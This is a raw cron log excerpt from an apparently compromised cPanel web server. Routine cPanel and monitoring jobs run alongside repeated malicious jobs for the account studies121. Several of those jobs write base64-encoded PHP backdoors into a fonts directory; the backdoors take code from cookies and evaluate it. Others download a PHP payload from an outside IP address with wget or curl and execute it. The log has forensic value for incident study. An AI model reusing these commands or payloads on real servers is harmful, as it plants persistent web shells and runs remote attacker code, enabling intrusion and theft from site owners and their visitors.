Sep  4 17:14:01 ip-184-168-122-23 CROND[26262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:14:01 ip-184-168-122-23 CROND[26263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:15:02 ip-184-168-122-23 CROND[26360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:15:02 ip-184-168-122-23 CROND[26364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:15:02 ip-184-168-122-23 CROND[26361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:15:02 ip-184-168-122-23 CROND[26365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:15:02 ip-184-168-122-23 CROND[26363]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 17:15:02 ip-184-168-122-23 CROND[26366]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 17:16:01 ip-184-168-122-23 CROND[26472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:16:01 ip-184-168-122-23 CROND[26474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:16:01 ip-184-168-122-23 CROND[26473]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:16:01 ip-184-168-122-23 CROND[26470]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:16:02 ip-184-168-122-23 CROND[26471]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 17:16:02 ip-184-168-122-23 CROND[26475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:17:01 ip-184-168-122-23 CROND[26712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:17:01 ip-184-168-122-23 CROND[26713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:17:01 ip-184-168-122-23 CROND[26714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:17:01 ip-184-168-122-23 CROND[26715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:18:01 ip-184-168-122-23 CROND[26818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:18:01 ip-184-168-122-23 CROND[26819]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:18:01 ip-184-168-122-23 CROND[26820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:18:01 ip-184-168-122-23 CROND[26821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:18:01 ip-184-168-122-23 CROND[26824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:19:01 ip-184-168-122-23 CROND[26925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:19:01 ip-184-168-122-23 CROND[26926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:19:01 ip-184-168-122-23 CROND[26928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:19:01 ip-184-168-122-23 CROND[26927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:20:01 ip-184-168-122-23 CROND[27025]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 17:20:01 ip-184-168-122-23 CROND[27026]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 17:20:01 ip-184-168-122-23 CROND[27037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:20:01 ip-184-168-122-23 CROND[27035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:20:01 ip-184-168-122-23 CROND[27031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:20:01 ip-184-168-122-23 CROND[27036]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:20:01 ip-184-168-122-23 CROND[27033]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 17:20:01 ip-184-168-122-23 CROND[27034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:20:01 ip-184-168-122-23 CROND[27032]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 17:21:01 ip-184-168-122-23 CROND[27140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:21:01 ip-184-168-122-23 CROND[27141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:21:01 ip-184-168-122-23 CROND[27142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:21:01 ip-184-168-122-23 CROND[27143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:22:01 ip-184-168-122-23 CROND[27288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:22:01 ip-184-168-122-23 CROND[27287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:22:01 ip-184-168-122-23 CROND[27285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:22:01 ip-184-168-122-23 CROND[27286]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:22:01 ip-184-168-122-23 CROND[27289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:23:01 ip-184-168-122-23 CROND[27383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:23:02 ip-184-168-122-23 CROND[27386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:23:02 ip-184-168-122-23 CROND[27387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:23:02 ip-184-168-122-23 CROND[27389]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:24:02 ip-184-168-122-23 CROND[27557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:24:02 ip-184-168-122-23 CROND[27558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:24:02 ip-184-168-122-23 CROND[27560]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:24:02 ip-184-168-122-23 CROND[27559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:24:02 ip-184-168-122-23 CROND[27561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:25:01 ip-184-168-122-23 CROND[27652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:25:01 ip-184-168-122-23 CROND[27651]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 17:25:01 ip-184-168-122-23 CROND[27653]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 17:25:01 ip-184-168-122-23 CROND[27654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:25:01 ip-184-168-122-23 CROND[27656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:25:01 ip-184-168-122-23 CROND[27655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:26:01 ip-184-168-122-23 CROND[27819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:26:01 ip-184-168-122-23 CROND[27818]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:26:01 ip-184-168-122-23 CROND[27822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
